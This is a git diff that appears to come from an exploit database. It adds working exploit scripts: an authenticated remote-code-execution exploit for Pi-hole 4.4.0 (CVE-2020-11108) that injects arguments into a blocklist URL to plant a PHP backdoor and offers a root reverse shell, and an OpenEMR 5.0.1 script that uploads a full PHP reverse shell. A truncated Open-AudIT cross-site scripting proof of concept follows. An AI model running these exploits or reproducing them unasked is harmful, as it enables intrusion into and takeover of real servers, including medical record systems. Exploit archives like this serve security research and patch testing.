diff --git a/exploits/linux/webapps/48519.py b/exploits/linux/webapps/48519.py
new file mode 100755
index 000000000..b401230b1
--- /dev/null
+++ b/exploits/linux/webapps/48519.py
@@ -0,0 +1,254 @@
+# Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated)
+# Date: 2020-05-22
+# Exploit Author: Photubias
+# Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE
+# Version: Pi-hole <=4.4.0 + Web <=4.3.3
+# Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10)
+# CVE: CVE-2020-11108
+
+#!/usr/bin/env python3
+'''
+ Copyright 2020 Photubias(c)
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+ Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py
+
+ File name CVE-2020-11108.py
+ written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
+
+ ## Vulnerable setup instructions (from clean Debian 10-Buster):
+ > apt update && apt install -y curl
+ > curl -sSL https://install.pi-hole.net | bash
+ > pihole checkout web release/v4.3.3
+ > cd /etc/.pihole/ && git checkout v4.4
+ > pihole -r ## Select reconfigure
+
+ This is a native implementation without requirements, written in Python 3.
+ Works equally well on Windows as Linux (as MacOS, probably ;-)
+
+ Features:
+ * Does a reliable check before exploitation (not based on version numbers)
+ * Performs normal RCE without Privilege Escalation (wich is more trust worthy)
+ * Asks before running Root RCE (as this overwrites certain files)
+ * Performs a cleanup in all cases (success / failure)
+'''
+
+import urllib.request, ssl, http.cookiejar, sys, string, random
+import socket, _thread, time
+
+## Default vars; change at will
+_sURL = '192.168.50.130'
+_sPASSWORD = '6DS4QtW5'
+_iTIMEOUT = 5
+_sLOCALIP = '192.168.50.1'
+_sFILENAME = 'fun2.php'
+_sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first
+
+## Ignore unsigned certs
+ssl._create_default_https_context = ssl._create_unverified_context
+
+## Keep track of cookies between requests
+cj = http.cookiejar.CookieJar()
+oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+def randomString(iStringLength=8):
+ sLetters = string.ascii_lowercase
+ return ''.join(random.choice(sLetters) for i in range(iStringLength))
+
+def postData(sURL, lData, bEncode = True):
+ try:
+ if bEncode: oData = urllib.parse.urlencode(lData).encode()
+ else: oData = str(lData).encode()
+ oRequest = urllib.request.Request(url = sURL, data = oData)
+ return oOpener.open(oRequest, timeout = _iTIMEOUT)
+ except:
+ print('----- ERROR, site down?')
+ sys.exit(1)
+
+def getEndpoint():
+ if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL
+ else: sURL = _sURL
+ if not sURL[:-1] == '/': sURL += '/'
+ if not '/admin' in sURL: sURL += 'admin'
+ try:
+ oRequest = urllib.request.Request(sURL)
+ oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT)
+ except:
+ print('[-] Error: ' + sURL + ' not responding')
+ exit(1)
+ if oResponse.code == 200:
+ print('[+] Vulnerable URL is ' + sURL)
+ return sURL
+ else:
+ print('[-] Error: ' + sURL + ' does not exist?')
+ exit(1)
+
+def startListener(sPayload, iSockTimeout):
+ ## Listener must always be on port 80, does not work otherwise
+ oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ print('[!] Binding to '+_sLOCALIP+':80')
+ oSock.bind((_sLOCALIP,80))
+ oSock.settimeout(iSockTimeout)
+ oSock.listen()
+
+ while True:
+ try: oConn,sAddr= oSock.accept()
+ except: break
+ print('[+] Yes, we have an incoming connection from '+str(sAddr[0]))
+ oConn.sendall(sPayload.encode())
+ oConn.close()
+ break
+ oSock.close()
+ print('[!] Closing Listener')
+
+def doLogin(sURL, sPassword):
+ sPath = '/index.php?login'
+ lData = {'pw':sPassword}
+ oResponse = postData(sURL + sPath, lData)
+ sResult = oResponse.read().decode(errors='ignore')
+ if 'Wrong password' in sResult:
+ print('Wrong password')
+ sys.exit(1)
+ return True
+
+def getToken(sURL):
+ sPath = '/settings.php?tab=blocklists'
+ oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
+ sResult = oResponse.read().decode(errors='ignore')
+ if 'id=\'token\'' in sResult:
+ return sResult.split('id=\'token\' hidden>')[1].split('<')[0]
+ else:
+ print('[-] Error in getting a token')
+ sys.exit(1)
+
+def createBackdoor(sURL, sFilename):
+ sToken = getToken(sURL)
+ sPath = '/settings.php?tab=blocklists'
+ lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'}
+ #lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'}
+ oResponse = postData(sURL + sPath, lData)
+ if oResponse.code == 200:
+ sResult = oResponse.read().decode(errors='ignore')
+ arrBlocklists = sResult.split('target="_new"')
+ sID = str(len(arrBlocklists)-2)
+ print('[+] Creation success, ID is '+sID+'!')
+ return sID
+ else:
+ return ''
+
+
+def doUpdate(sURL):
+ sPath = '/scripts/pi-hole/php/gravity.sh.php'
+ try:
+ oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
+ if oResponse.code == 200: print('[+] Update succeeded.')
+ return True
+ except:
+ print('[-] Error; callback failed, maybe a firewall issue?')
+ return False
+
+def callExploit(sURL, sFilename = _sFILENAME):
+ sPath = '/scripts/pi-hole/php/' + sFilename
+ print('[+] Calling ' + sURL + sPath)
+ try:
+ oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
+ if oResponse.code == 200: print('[+] Calling exploit succeeded.')
+ print(oResponse.read().decode(errors='ignore'))
+ except:
+ pass
+
+def removeEntry(sURL, sID):
+ print('[+] Cleaning up now.')
+ sToken = getToken(sURL)
+ sPath = '/settings.php?tab=blocklists'
+ lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'}
+ oResponse = postData(sURL + sPath, lData)
+ if oResponse.code == 200:
+ print('[+] Remove success')
+
+def main():
+ global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT
+ if len(sys.argv) == 1:
+ print('[!] No arguments found: python3 CVE-2020-11108.py ')
+ print(' Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5')
+ print(' But for now, I will ask questions')
+ sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ')
+ if not sAnswer == '': _sURL = sAnswer
+ sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ')
+ if not sAnswer == '': _sLOCALIP = sAnswer
+ sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ')
+ if not sAnswer == '': _sPASSWORD = sAnswer
+ else:
+ _sURL = sys.argv[1]
+ _sLOCALIP = sys.argv[2]
+ _sPASSWORD = sys.argv[3]
+
+ ## MAIN
+ sURL = getEndpoint() ## Will also set the initial SessionID
+ doLogin(sURL, _sPASSWORD)
+
+ ## Creating backdoor (1) ## the old 'fun.php'
+ sFilename = randomString() + '.php'
+ sID = createBackdoor(sURL, sFilename)
+
+ ## Launch first payload listener and send 200 OK
+ _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
+ if doUpdate(sURL):
+ print('[+] This system is vulnerable!')
+
+ ## Question Time
+ sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ')
+ if not sAnswer.lower() == 'y':
+ removeEntry(sURL, sID)
+ sys.exit(0)
+ sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ')
+ if sAnswer.lower() == 'y': bRoot = True
+ else: bRoot = False
+
+ if bRoot:
+ print('[!] Allright, going for the root shell')
+ ## Launch payload listener and send root shell
+ _sPayload = ''''''
+ _thread.start_new_thread(startListener,(_sPayload,5,))
+ doUpdate(sURL)
+
+ ## Creating backdoor (2), overwriting teleporter.php
+ sID2 = createBackdoor(sURL, 'teleporter.php')
+
+ ## Launch payload listener for a new 200 OK
+ _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
+ doUpdate(sURL)
+
+ input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...')
+
+ ## Launch shell payload listener:
+ _sPayload = '''
+ ''' %(_sLOCALIP, _sLOCALNCPORT)
+ #_sPayload = '''''' ## this works perfectly, but the URL is authenticated
+ _thread.start_new_thread(startListener,(_sPayload,5,))
+ doUpdate(sURL)
+
+ ## Launching the payload, will create new PHP file
+ callExploit(sURL, sFilename)
+
+ ## Remove entry again
+ if bRoot: removeEntry(sURL, sID2)
+ removeEntry(sURL, sID)
+
+ if len(sys.argv) == 1: input('[+] All done, press enter to exit')
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/exploits/php/webapps/40300.py b/exploits/php/webapps/40300.py
index 2b3904dca..9997cd4cc 100755
--- a/exploits/php/webapps/40300.py
+++ b/exploits/php/webapps/40300.py
@@ -122,4 +122,4 @@ for x in range(0, 300):
sys.exit(0)
print "Sorry, I did not find anything"
-'''
+'''
\ No newline at end of file
diff --git a/exploits/php/webapps/48515.py b/exploits/php/webapps/48515.py
new file mode 100755
index 000000000..7725a1173
--- /dev/null
+++ b/exploits/php/webapps/48515.py
@@ -0,0 +1,187 @@
+# Title: OpenEMR 5.0.1 - Remote Code Execution
+# Exploit Author: Musyoka Ian
+# Date: 2020-05-25
+# Title: OpenEMR < 5.0.1 - Remote Code Execution
+# Vendor Homepage: https://www.open-emr.org/
+# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
+# Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile
+# Version: < 5.0.1 (Patch 4)
+# Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
+# References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69
+
+# openemr_exploit.py
+
+#!/usr/bin/env python2
+# -*- coding: utf-8 -*-
+
+import requests
+import time
+
+auth = "[+] Authentication with credentials provided please be patient"
+upload = "[+] Uploading a payload it will take a minute"
+netcat = "[+] You should be getting a shell"
+s = requests.Session()
+payload = {'site': 'default', 'mode' : 'save', 'docid' : 'shell.php', 'content' : """ array("pipe", "r"), // stdin is a pipe that the child will read from
+ 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
+ 2 => array("pipe", "w") // stderr is a pipe that the child will write to
+);
+
+$process = proc_open($shell, $descriptorspec, $pipes);
+
+if (!is_resource($process)) {
+ printit("ERROR: Can't spawn shell");
+ exit(1);
+}
+
+// Set everything to non-blocking
+// Reason: Occsionally reads will block, even though stream_select tells us they won't
+stream_set_blocking($pipes[0], 0);
+stream_set_blocking($pipes[1], 0);
+stream_set_blocking($pipes[2], 0);
+stream_set_blocking($sock, 0);
+
+printit("Successfully opened reverse shell to $ip:$port");
+
+while (1) {
+ // Check for end of TCP connection
+ if (feof($sock)) {
+ printit("ERROR: Shell connection terminated");
+ break;
+ }
+
+ // Check for end of STDOUT
+ if (feof($pipes[1])) {
+ printit("ERROR: Shell process terminated");
+ break;
+ }
+
+ // Wait until a command is end down $sock, or some
+ // command output is available on STDOUT or STDERR
+ $read_a = array($sock, $pipes[1], $pipes[2]);
+ $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
+
+ // If we can read from the TCP socket, send
+ // data to process's STDIN
+ if (in_array($sock, $read_a)) {
+ if ($debug) printit("SOCK READ");
+ $input = fread($sock, $chunk_size);
+ if ($debug) printit("SOCK: $input");
+ fwrite($pipes[0], $input);
+ }
+
+ // If we can read from the process's STDOUT
+ // send data down tcp connection
+ if (in_array($pipes[1], $read_a)) {
+ if ($debug) printit("STDOUT READ");
+ $input = fread($pipes[1], $chunk_size);
+ if ($debug) printit("STDOUT: $input");
+ fwrite($sock, $input);
+ }
+
+ // If we can read from the process's STDERR
+ // send data down tcp connection
+ if (in_array($pipes[2], $read_a)) {
+ if ($debug) printit("STDERR READ");
+ $input = fread($pipes[2], $chunk_size);
+ if ($debug) printit("STDERR: $input");
+ fwrite($sock, $input);
+ }
+}
+
+fclose($sock);
+fclose($pipes[0]);
+fclose($pipes[1]);
+fclose($pipes[2]);
+proc_close($process);
+
+// Like print, but does nothing if we've daemonised ourself
+// (I can't figure out how to redirect STDOUT like a proper daemon)
+function printit ($string) {
+ if (!$daemon) {
+ print "$string\n";
+ }
+}
+
+?> """}
+print (auth)
+url = "http://localhost/openemr/interface/main/main_screen.php?auth=login&site=default"
+data= {
+ 'new_login_session_management' : '1',
+ 'authProvider' : 'Default',
+ 'authUser' : 'admin', # change this to the the appropriate username
+ 'clearPass' : 'password123', # change this to the appropriate password
+ 'languageChoice' : '1',
+ }
+
+response = s.post(url, data=data,).text
+time.sleep(2)
+print (upload)
+time.sleep(2)
+resp = s.post("http://localhost/openemr/portal/import_template.php?site=default", data = payload)
+time.sleep(2)
+print (netcat)
+rev_shell = s.get("http://localhost/openemr/portal/shell.php")
+print (rev_shell.text)
\ No newline at end of file
diff --git a/exploits/php/webapps/48516.txt b/exploits/php/webapps/48516.txt
new file mode 100644
index 000000000..166566f0c
--- /dev/null
+++ b/exploits/php/webapps/48516.txt
@@ -0,0 +1,12 @@
+# Exploit Title: Open-AudIT 3.3.0 - Reflective Cross-Site Scripting (Authenticated)
+# Date: 2020-04-26
+# Exploit Author: Kamaljeet Kumar
+# Vendor Homepage: https://opmantek.com/network-discovery-inventory-software/
+# Software Link: https://www.open-audit.org/downloads.php
+# Version: 3.3.0
+# CVE : CVE-2020-12261
+# POC:
+Step 1: Login to Open-Audit
+Step 2: Go to "http://192.168.0.4/open-audit/index.php/search/" and add this "